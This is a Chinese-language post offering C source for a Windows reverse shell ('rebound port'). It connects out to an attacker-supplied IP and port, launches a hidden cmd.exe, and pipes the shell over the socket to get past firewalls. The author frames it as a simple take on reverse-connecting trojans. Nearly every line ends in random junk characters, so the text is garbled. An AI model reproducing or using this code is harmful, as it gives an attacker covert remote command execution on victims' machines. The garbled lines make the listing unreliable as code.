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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 3M8P%  
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/* ============================== %gSqc }v*  
Rebound port in Windows NT VV)PSodb  
By wind,2006/7 I! {AWfp0  
===============================*/ Wxkk^J9F3  
#include Qf0$Z.-  
#include w~afQA>  
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#pragma comment(lib,"wsock32.lib") eft-]c+*0  
{H#1wu^]O$  
void OutputShell(); YiB]}/  
SOCKET sClient; Qzw~\KY:  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; {6^c3R[  
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void main(int argc,char **argv) ~;_]U[eOL  
{ zLc.4k  
WSADATA stWsaData; 1GN>,Lb: o  
int nRet; [bUM x  
SOCKADDR_IN stSaiClient,stSaiServer; }]>[FW  
18z{d9'F   
if(argc != 3) ,RKBGOz?f  
{ JQYIvo1,Q  
printf("Useage:\n\rRebound DestIP DestPort\n"); ^LaI{UDw%h  
return;  g2L  
} F\Q)l+c  
TDBWYppM  
WSAStartup(MAKEWORD(2,2),&stWsaData); BWFl8 !_X  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); D{Y~ kV|  
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stSaiClient.sin_family = AF_INET; 6%H8Q v  
stSaiClient.sin_port = htons(0); ,w; ~R4x  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); VQU[5C  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) p18-yt; 1  
{ D-9zg\\'`  
printf("Bind Socket Failed!\n"); ?aEBS  
return; W:O<9ZbQ_  
} F7^8Ej9*a  
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stSaiServer.sin_family = AF_INET; Jy@cMq2  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); wXPNfV<(2  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); \NhCu$'  
#x1AZwC  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) @k <RX'~q  
{ k^Zpb&`Hx  
printf("Connect Error!"); !CtY.Lp  
return; Ziu f<X{  
} nQdNXv<(  
OutputShell(); k(C?6Gfj  
} '!Ps4ZTn_  
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void OutputShell() $^ (q0zR~l  
{ Iwi>yx8  
char szBuff[1024]; <*0MD6 $5  
SECURITY_ATTRIBUTES stSecurityAttributes; gGw6c" FRQ  
OSVERSIONINFO stOsversionInfo; y$r^UjJEO  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; MG>g?s'!  
STARTUPINFO stStartupInfo; t;Jt+k~  
char *szShell; IJ!]1fXy+  
PROCESS_INFORMATION stProcessInformation; |xZDc6HDW  
unsigned long lBytesRead; 33J}AK^FE  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); )b m|],'  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); yiQke   
stSecurityAttributes.lpSecurityDescriptor = 0; v\rOs+.s  
stSecurityAttributes.bInheritHandle = TRUE; uEWWY t  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); vVc:[i  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Z{+h~?63  
Y:&1;`FBZ  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); K6KEdXM4  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; cCFSPT2fq[  
stStartupInfo.wShowWindow = SW_HIDE; k^Tu9}[W1  
stStartupInfo.hStdInput = hReadPipe; <]/`#Xgh  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; m}:";>?#  
2n?\tOm(V  
GetVersionEx(&stOsversionInfo); 583ej2HPg  
#j d?ocoY  
switch(stOsversionInfo.dwPlatformId) ,a?)#X  
{ _Jk-nZgn  
case 1: HQ7-,!XO  
szShell = "command.com"; vF;6Y(h>  
break; tirw{[X0n  
default: [T"oqO4%]  
szShell = "cmd.exe"; ^8.R 'Yq  
break; Tr)a6Cf  
} (6u<w#u  
W0tBF&E"  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 9r+`j  
e~$MIHBY]  
send(sClient,szMsg,77,0); $^IuE0.  
while(1) H|0B*i@81  
{ <E$P  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); o%h\55S  
if(lBytesRead) SjKIn-  
{ 3 C=nC  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); _8\Uukm  
send(sClient,szBuff,lBytesRead,0); \9Itu(<f  
} 9V?MJZ@aG  
else VPys  
{ ZgtW  
lBytesRead=recv(sClient,szBuff,1024,0); 4@5rR~DQq  
if(lBytesRead<=0) break; $Pzvv`f*  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); wC!(STu  
} a: iIfdd4'  
} hOfd<k\A  
9Vzk:zOT  
return; s.1(- "DU  
}
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